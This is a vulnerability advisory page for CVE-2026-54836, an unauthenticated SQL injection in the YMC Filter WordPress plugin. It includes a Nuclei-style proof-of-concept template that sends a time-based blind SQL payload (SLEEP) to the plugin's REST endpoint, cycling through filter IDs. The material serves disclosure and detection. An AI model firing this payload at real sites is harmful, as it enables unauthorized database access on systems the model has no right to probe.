CVE-2026-54836: YMC Filter - SQL Injection

2026-07-31 YMC Filter PoC Public

Description

YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.

PoC

id: CVE-2026-54836

info:
  name: YMC Filter - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.
  remediation: |
    Update to the latest version beyond 3.11.5.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54836
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-54836
    epss-score: 0.01343
    epss-percentile: 0.69935
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp-plugin,sqli,ymc-smart-filter,unauth

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":{{fid}},"search":"xyznotexist999') OR (SELECT 1 FROM (SELECT SLEEP(7))x)))-- -","post_types":["post"],"paged":1}}

    payloads:
      fid:
        - "1"
        - "2"
        - "3"
        - "10"
        - "50"
        - "100"
        - "150"
        - "152"
        - "200"
        - "250"
        - "300"
        - "500"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
# digest: 4a0a00473045022010f326abb6b1056d205f71dccc567b7667e3f256283f51c56003bb43e3f10e14022100f31da80f9b461e6e1a31abe8bae38b02e791051e65eb18c7a6debea3852ed15a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities